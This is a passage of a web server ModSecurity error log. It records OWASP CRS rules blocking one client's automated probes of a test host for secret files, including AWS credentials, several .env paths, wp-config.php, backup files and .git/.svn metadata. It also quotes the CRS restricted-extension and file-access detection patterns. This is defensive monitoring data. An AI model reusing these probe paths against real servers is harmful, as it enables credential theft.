[Sat May 10 15:41:01.391100 2025] [:error] [pid 3059055] [client 154.83.103.111:56996] [client 154.83.103.111] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.ini&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/db.ini&quot;] [unique_id &quot;aB9XbX0QE4ypGnyWNt4RCgAAAAA&quot;]
[Sat May 10 15:41:01.391477 2025] [:error] [pid 3059055] [client 154.83.103.111:56996] [client 154.83.103.111] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/db.ini&quot;] [unique_id &quot;aB9XbX0QE4ypGnyWNt4RCgAAAAA&quot;]
[Sat May 10 15:41:01.391663 2025] [:error] [pid 3059055] [client 154.83.103.111:56996] [client 154.83.103.111] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/db.ini&quot;] [unique_id &quot;aB9XbX0QE4ypGnyWNt4RCgAAAAA&quot;]
[Sat May 10 15:41:01.437318 2025] [:error] [pid 3059055] [client 154.83.103.111:56996] [client 154.83.103.111] ModSecurity: Warning. Matched phrase &quot;.aws/credentials&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: .aws/credentials found within REQUEST_FILENAME: /.aws/credentials&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.aws/credentials&quot;] [unique_id &quot;aB9XbX0QE4ypGnyWNt4RDAAAAAA&quot;]
[Sat May 10 15:41:01.437575 2025] [:error] [pid 3059055] [client 154.83.103.111:56996] [client 154.83.103.111] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.aws/credentials&quot;] [unique_id &quot;aB9XbX0QE4ypGnyWNt4RDAAAAAA&quot;]
[Sat May 10 15:41:01.437771 2025] [:error] [pid 3059055] [client 154.83.103.111:56996] [client 154.83.103.111] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.aws/credentials&quot;] [unique_id &quot;aB9XbX0QE4ypGnyWNt4RDAAAAAA&quot;]
[Sat May 10 15:41:01.673337 2025] [:error] [pid 3059055] [client 154.83.103.111:56996] [client 154.83.103.111] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /docker/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/docker/.env&quot;] [unique_id &quot;aB9XbX0QE4ypGnyWNt4RFgAAAAA&quot;]
[Sat May 10 15:41:01.673627 2025] [:error] [pid 3059055] [client 154.83.103.111:56996] [client 154.83.103.111] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/docker/.env&quot;] [unique_id &quot;aB9XbX0QE4ypGnyWNt4RFgAAAAA&quot;]
[Sat May 10 15:41:01.673813 2025] [:error] [pid 3059055] [client 154.83.103.111:56996] [client 154.83.103.111] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/docker/.env&quot;] [unique_id &quot;aB9XbX0QE4ypGnyWNt4RFgAAAAA&quot;]
[Sat May 10 15:41:01.696107 2025] [:error] [pid 3059055] [client 154.83.103.111:56996] [client 154.83.103.111] ModSecurity: Warning. Matched phrase &quot;wp-config.php&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: wp-config.php found within REQUEST_FILENAME: /wp-config.php&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-config.php&quot;] [unique_id &quot;aB9XbX0QE4ypGnyWNt4RFwAAAAA&quot;]
[Sat May 10 15:41:01.696363 2025] [:error] [pid 3059055] [client 154.83.103.111:56996] [client 154.83.103.111] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-config.php&quot;] [unique_id &quot;aB9XbX0QE4ypGnyWNt4RFwAAAAA&quot;]
[Sat May 10 15:41:01.696548 2025] [:error] [pid 3059055] [client 154.83.103.111:56996] [client 154.83.103.111] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-config.php&quot;] [unique_id &quot;aB9XbX0QE4ypGnyWNt4RFwAAAAA&quot;]
[Sat May 10 15:41:02.009923 2025] [:error] [pid 3059055] [client 154.83.103.111:56996] [client 154.83.103.111] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.backup&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/env.backup&quot;] [unique_id &quot;aB9Xbn0QE4ypGnyWNt4RGwAAAAA&quot;]
[Sat May 10 15:41:02.010429 2025] [:error] [pid 3059055] [client 154.83.103.111:56996] [client 154.83.103.111] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/env.backup&quot;] [unique_id &quot;aB9Xbn0QE4ypGnyWNt4RGwAAAAA&quot;]
[Sat May 10 15:41:02.010637 2025] [:error] [pid 3059055] [client 154.83.103.111:56996] [client 154.83.103.111] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/env.backup&quot;] [unique_id &quot;aB9Xbn0QE4ypGnyWNt4RGwAAAAA&quot;]
[Sat May 10 15:41:02.032864 2025] [:error] [pid 3059055] [client 154.83.103.111:56996] [client 154.83.103.111] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.bak&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/settings.bak&quot;] [unique_id &quot;aB9Xbn0QE4ypGnyWNt4RHAAAAAA&quot;]
[Sat May 10 15:41:02.033222 2025] [:error] [pid 3059055] [client 154.83.103.111:56996] [client 154.83.103.111] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/settings.bak&quot;] [unique_id &quot;aB9Xbn0QE4ypGnyWNt4RHAAAAAA&quot;]
[Sat May 10 15:41:02.033408 2025] [:error] [pid 3059055] [client 154.83.103.111:56996] [client 154.83.103.111] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/settings.bak&quot;] [unique_id &quot;aB9Xbn0QE4ypGnyWNt4RHAAAAAA&quot;]
[Sat May 10 15:41:02.080387 2025] [:error] [pid 3059055] [client 154.83.103.111:56996] [client 154.83.103.111] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /old/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/old/.env&quot;] [unique_id &quot;aB9Xbn0QE4ypGnyWNt4RHgAAAAA&quot;]
[Sat May 10 15:41:02.080642 2025] [:error] [pid 3059055] [client 154.83.103.111:56996] [client 154.83.103.111] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/old/.env&quot;] [unique_id &quot;aB9Xbn0QE4ypGnyWNt4RHgAAAAA&quot;]
[Sat May 10 15:41:02.080822 2025] [:error] [pid 3059055] [client 154.83.103.111:56996] [client 154.83.103.111] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/old/.env&quot;] [unique_id &quot;aB9Xbn0QE4ypGnyWNt4RHgAAAAA&quot;]
[Sat May 10 15:41:02.173248 2025] [:error] [pid 3059055] [client 154.83.103.111:56996] [client 154.83.103.111] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /laravel/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/laravel/.env&quot;] [unique_id &quot;aB9Xbn0QE4ypGnyWNt4RIgAAAAA&quot;]
[Sat May 10 15:41:02.173490 2025] [:error] [pid 3059055] [client 154.83.103.111:56996] [client 154.83.103.111] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/laravel/.env&quot;] [unique_id &quot;aB9Xbn0QE4ypGnyWNt4RIgAAAAA&quot;]
[Sat May 10 15:41:02.173670 2025] [:error] [pid 3059055] [client 154.83.103.111:56996] [client 154.83.103.111] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/laravel/.env&quot;] [unique_id &quot;aB9Xbn0QE4ypGnyWNt4RIgAAAAA&quot;]
[Sat May 10 15:41:02.195983 2025] [:error] [pid 3059055] [client 154.83.103.111:56996] [client 154.83.103.111] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /app/config/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/app/config/.env&quot;] [unique_id &quot;aB9Xbn0QE4ypGnyWNt4RIwAAAAA&quot;]
[Sat May 10 15:41:02.196241 2025] [:error] [pid 3059055] [client 154.83.103.111:56996] [client 154.83.103.111] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/app/config/.env&quot;] [unique_id &quot;aB9Xbn0QE4ypGnyWNt4RIwAAAAA&quot;]
[Sat May 10 15:41:02.196421 2025] [:error] [pid 3059055] [client 154.83.103.111:56996] [client 154.83.103.111] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/app/config/.env&quot;] [unique_id &quot;aB9Xbn0QE4ypGnyWNt4RIwAAAAA&quot;]
[Sat May 10 15:41:02.218809 2025] [:error] [pid 3059055] [client 154.83.103.111:56996] [client 154.83.103.111] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;aB9Xbn0QE4ypGnyWNt4RJAAAAAA&quot;]
[Sat May 10 15:41:02.219049 2025] [:error] [pid 3059055] [client 154.83.103.111:56996] [client 154.83.103.111] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;aB9Xbn0QE4ypGnyWNt4RJAAAAAA&quot;]
[Sat May 10 15:41:02.219236 2025] [:error] [pid 3059055] [client 154.83.103.111:56996] [client 154.83.103.111] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;aB9Xbn0QE4ypGnyWNt4RJAAAAAA&quot;]
[Sat May 10 15:41:02.241521 2025] [:error] [pid 3059055] [client 154.83.103.111:56996] [client 154.83.103.111] ModSecurity: Warning. Matched phrase &quot;/.svn/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.svn/ found within REQUEST_FILENAME: /.svn/entries&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.svn/entries&quot;] [unique_id &quot;aB9Xbn0QE4ypGnyWNt4RJQAAAAA&quot;]
